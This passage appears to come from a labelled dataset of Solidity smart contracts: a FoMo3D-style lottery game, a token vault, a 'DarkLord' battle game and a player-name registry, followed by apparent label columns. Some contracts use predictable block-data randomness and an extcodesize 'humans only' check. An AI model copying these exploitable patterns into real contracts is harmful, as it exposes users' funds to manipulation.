_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
com.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = (_eth / 10).add(_eth / 20);
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com.add(_aff);
}
com.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(18)) / 100) / 100);
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO4D already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 62 |
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
bool public constant isToken = true;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract TokenVault is Ownable {
uint public investorCount;
uint public tokensToBeAllocated;
uint public totalClaimed;
uint public tokensAllocatedTotal;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public lockedAt;
StandardToken public token;
enum State{Unknown, Loading, Holding, Distributing}
event Allocated(address investor, uint value);
event Distributed(address investors, uint count);
event Locked();
function TokenVault(address _owner, uint _freezeEndsAt, StandardToken _token, uint _tokensToBeAllocated) {
owner = _owner;
if(owner == 0) {
throw;
}
token = _token;
if(!token.isToken()) {
throw;
}
if(_freezeEndsAt == 0) {
throw;
}
freezeEndsAt = _freezeEndsAt;
tokensToBeAllocated = _tokensToBeAllocated;
}
function setInvestor(address investor, uint amount) public onlyOwner {
if(lockedAt > 0) {
throw;
}
if(amount == 0) throw;
bool existing = balances[investor] > 0;
if(existing) {
throw;
}
balances[investor] = amount;
investorCount++;
tokensAllocatedTotal += amount;
Allocated(investor, amount);
}
function lock() onlyOwner {
if(lockedAt > 0) {
throw;
}
if(tokensAllocatedTotal != tokensToBeAllocated) {
throw;
}
if(token.balanceOf(address(this)) < tokensAllocatedTotal) {
throw;
}
lockedAt = now;
Locked();
}
function recoverFailedLock() onlyOwner {
if(lockedAt > 0) {
throw;
}
token.transfer(owner, token.balanceOf(address(this)));
}
function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function claim() {
address investor = msg.sender;
if(lockedAt == 0) {
throw;
}
if(now < freezeEndsAt) {
throw;
}
if(balances[investor] == 0) {
throw;
}
if(claimed[investor] > 0) {
throw;
}
uint amount = balances[investor];
claimed[investor] = amount;
totalClaimed += amount;
token.transfer(investor, amount);
Distributed(investor, amount);
}
function getState() public constant returns(State) {
if(lockedAt == 0) {
return State.Loading;
} else if(now > freezeEndsAt) {
return State.Distributing;
} else {
return State.Holding;
}
}
} | 1 | 3,353 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DarkLord {
using SafeMath for uint256;
event NewZombie(uint zombieId, string name, uint dna);
mapping(address => uint) playerExp;
mapping (address => bool) private inwitness;
address[] public winnerAdd;
modifier onlyWit() {
require(inwitness[msg.sender]);
_;
}
struct Battlelog {
uint id1;
uint id2;
uint result;
address witness;
}
Battlelog[] battleresults;
struct BMBattlelog {
uint id1;
uint id2;
uint id3;
uint id4;
uint result;
address witness;
}
BMBattlelog[] bmbattleresults;
function _addWit (address _inwitness) private {
inwitness[_inwitness] = true;
}
function _delWit (address _inwitness) private {
delete inwitness[_inwitness];
}
function initialWittness() public {
_addWit(msg.sender);
}
function clearwit(address _inwitness) public{
if(_inwitness==msg.sender){
delete inwitness[_inwitness];
}
}
function initialCard(uint total) public view returns(uint i) {
i = uint256(sha256(abi.encodePacked(block.timestamp, block.number-i-1))) % total +1;
}
function initialBattle(uint id1,uint total1,uint id2,uint total2) onlyWit() public returns (uint wid){
uint darklord;
if(total1.mul(2)>5000){
darklord=total1.mul(2);
}else{
darklord=5000;
}
uint256 threshold = dataCalc(total1.add(total2),darklord);
uint256 i = uint256(sha256(abi.encodePacked(block.timestamp, block.number-i-1))) % 100 +1;
if(i <= threshold){
wid = 0;
winnerAdd.push(msg.sender);
}else{
wid = 1;
}
battleresults.push(Battlelog(id1,id2,wid,msg.sender));
_delWit(msg.sender);
}
function initialBM(uint id1,uint total1,uint id2,uint total2,uint id3,uint total3,uint id4,uint total4) onlyWit() public returns (uint wid){
uint teamETH;
uint teamTron;
teamETH=total1+total2;
teamTron=total3+total4;
uint256 threshold = dataCalc(teamETH,teamTron);
uint256 i = uint256(sha256(abi.encodePacked(block.timestamp, block.number-i-1))) % 100 +1;
if(i <= threshold){
wid = 0;
winnerAdd.push(msg.sender);
}else{
wid = 1;
}
bmbattleresults.push(BMBattlelog(id1,id2,id3,id4,wid,msg.sender));
_delWit(msg.sender);
}
function dataCalc(uint _total1, uint _total2) public pure returns (uint256 _threshold){
uint256 threshold = _total1.mul(100).div(_total1+_total2);
if(threshold > 90){
threshold = 90;
}
if(threshold < 10){
threshold = 10;
}
return threshold;
}
function getBattleDetails(uint _battleId) public view returns (
uint _id1,
uint _id2,
uint256 _result,
address _witadd
) {
Battlelog storage _battle = battleresults[_battleId];
_id1 = _battle.id1;
_id2 = _battle.id2;
_result = _battle.result;
_witadd = _battle.witness;
}
function getBMBattleDetails(uint _battleId) public view returns (
uint _id1,
uint _id2,
uint _id3,
uint _id4,
uint256 _result,
address _witadd
) {
BMBattlelog storage _battle = bmbattleresults[_battleId];
_id1 = _battle.id1;
_id2 = _battle.id2;
_id3 = _battle.id3;
_id4 = _battle.id4;
_result = _battle.result;
_witadd = _battle.witness;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return battleresults.length;
}
function totalBmSupply() public view returns (uint256 _totalSupply) {
return bmbattleresults.length;
}
} | 0 | 852 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private communityAddr = 0xfd76dB2AF819978d43e07737771c8D9E8bd8cbbF;
address private activate_addr = 0x6C7DFE3c255a098Ea031f334436DD50345cFC737;
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
plyr_[1].addr = 0x33E161A482C560DCA9180D84706eCDd2D906668B;
plyr_[1].name = "west1";
plyr_[1].names = 1;
pIDxAddr_[0x33E161A482C560DCA9180D84706eCDd2D906668B] = 1;
pIDxName_["west1"] = 1;
plyrNames_[1]["west1"] = true;
plyrNameList_[1][1] = "west1";
plyr_[2].addr = 0x9eb79e917b9e051A1BEf27f8A6cCDA316F228a7c;
plyr_[2].name = "west2";
plyr_[2].names = 1;
pIDxAddr_[0x9eb79e917b9e051A1BEf27f8A6cCDA316F228a7c] = 2;
pIDxName_["west2"] = 2;
plyrNames_[2]["west2"] = true;
plyrNameList_[2][1] = "west2";
plyr_[3].addr = 0x261901840C99C914Aa8Cc2f7AEd0d2e09A749c8B;
plyr_[3].name = "west3";
plyr_[3].names = 1;
pIDxAddr_[0x261901840C99C914Aa8Cc2f7AEd0d2e09A749c8B] = 3;
pIDxName_["west3"] = 3;
plyrNames_[3]["west3"] = true;
plyrNameList_[3][1] = "west3";
plyr_[4].addr = 0x7649938FAdf6C597F27349D338e3bDC8488c14e6;
plyr_[4].name = "west4";
plyr_[4].names = 1;
pIDxAddr_[0x7649938FAdf6C597F27349D338e3bDC8488c14e6] = 4;
pIDxName_["west4"] = 4;
plyrNames_[4]["west4"] = true;
plyrNameList_[4][1] = "west4";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyCommunity()
{
require(msg.sender == activate_addr, "msg sender is not the community");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
communityAddr.transfer(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
